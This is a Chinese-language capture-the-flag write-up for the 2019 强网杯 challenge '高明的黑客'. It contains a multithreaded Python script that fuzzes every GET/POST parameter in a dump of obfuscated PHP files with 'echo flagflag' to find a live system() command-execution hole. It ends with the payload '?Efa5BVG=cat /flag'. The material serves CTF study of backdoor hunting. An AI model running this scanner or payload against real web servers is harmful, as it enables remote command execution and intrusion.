[强网杯 2019]高明的黑客
根据提示直接下载源码文件。发现有好多php文件啊,怎么找有用的信息呢?文件命名挺奇怪的感觉,搜flag也没发现可以利用的代码。看了一眼答案,需要利用脚本。
通过搜索system我们可以看到很多system($_GET[\'pTMMqrhXV\'] ?? \' \');类似这种可能存在命令执行的语句,但是几乎都无法由用户自由控制参数。
那就需要一个脚本不断测试所有请求的参数,看看能不能执行命令。
脚本思路:
对于每个文件,找到其中所有POST和GET的参数,全部上传\'echo flagflag\',然后携带所有参数发起请求,检查响应中有没有flagflag,用来寻找存在命令执行的文件。找到该文件后,再使用同样的方法对每个GET和POST参数分别发起请求,用来寻找具体存在命令执行的参数。利用多线程提升效率。由于我们有源码,所以最好在本地测试,避免访问限制。
import osimport requestsimport reimport threading# 利用信号量设置最大线程数(同步机制中允许同时访问资源的最大线程数量)s1 = threading.Semaphore(100)# 设置os路径filePath = r\"D:\\ApplicationSoftware\\phpStudy_64\\phpstudy_pro\\WWW\\src\\game\"os.chdir(filePath)# 设置默认的 HTTP 请求重试次数,必须配合session使用才生效requests.adapters.DEFAULT_RETRIES = 5# 提取目录中的所有文件files = os.listdir(filePath)# 创建会话(Session)对象,方便使用默认请求重试次数session = requests.session()session.keep_alive = Falsedef find_param(file): # 获取一个资源 s1.acquire() # 输出运行信息,如果测试正常的话可以注释掉再运行,更清晰一点 # print(\'[@]trying \' + file + \'......\') # 一个线程处理一个文件 with open(file, encoding=\'utf-8\') as f: # 读取文件内容 content = f.read() # 匹配GET参数名 gets = list(re.findall(r\"\\$_GET\\[\\\'(.*?)\\\'\\]\", content)) # print(gets) # 匹配POST参数名 posts = list(re.findall(r\'\\$_POST\\[\\\'(.*?)\\\'\\]\', content)) # print(posts) # 设置所有请求参数 params = {m: \'echo flagflag\' for m in gets} data = {m: \'echo flagflag\' for m in posts} url = f\'http://localhost/src/game/{file}\' # 上传所有参数一起访问 req = session.post(url, params=params, data=data) # 关闭请求释放内存 req.close() req.encoding = \'utf-8\' # print(req.text) if \"flagflag\" in req.text: print(f\"[@]找到目标文件:{file}\") # 测试每个GET参数 for m in gets: single_param = {m: \'echo flagflag\'} req = session.get(url, params=single_param, timeout=10) if \'flagflag\' in req.text: print(f\"[+]找到有效GET参数:{m} 在文件 {file}\") req.close() # 测试每个POST参数 for m in posts: single_data = {m: \'echo flagflag\'} req = session.post(url, data=single_data, timeout=10) if \'flagflag\' in req.text: print(f\"[+]找到有效POST参数:{m} 在文件 {file}\") req.close() # 释放线程 s1.release()for file in files: threading.Thread(target=find_param, args=(file,)).start()
结果:[+]找到有效GET参数:Efa5BVG 在文件 xk0SzyKwfzw.php
访问/xk0SzyKwfzw.php?Efa5BVG=cat /flag 拿到flag!!!
总结一下:这道题主要考察脚本能力,需要多动手才熟练。同样重要的是思路,对于如此大量的源码,需要从中找到线索,例如这道题就是system命令执行。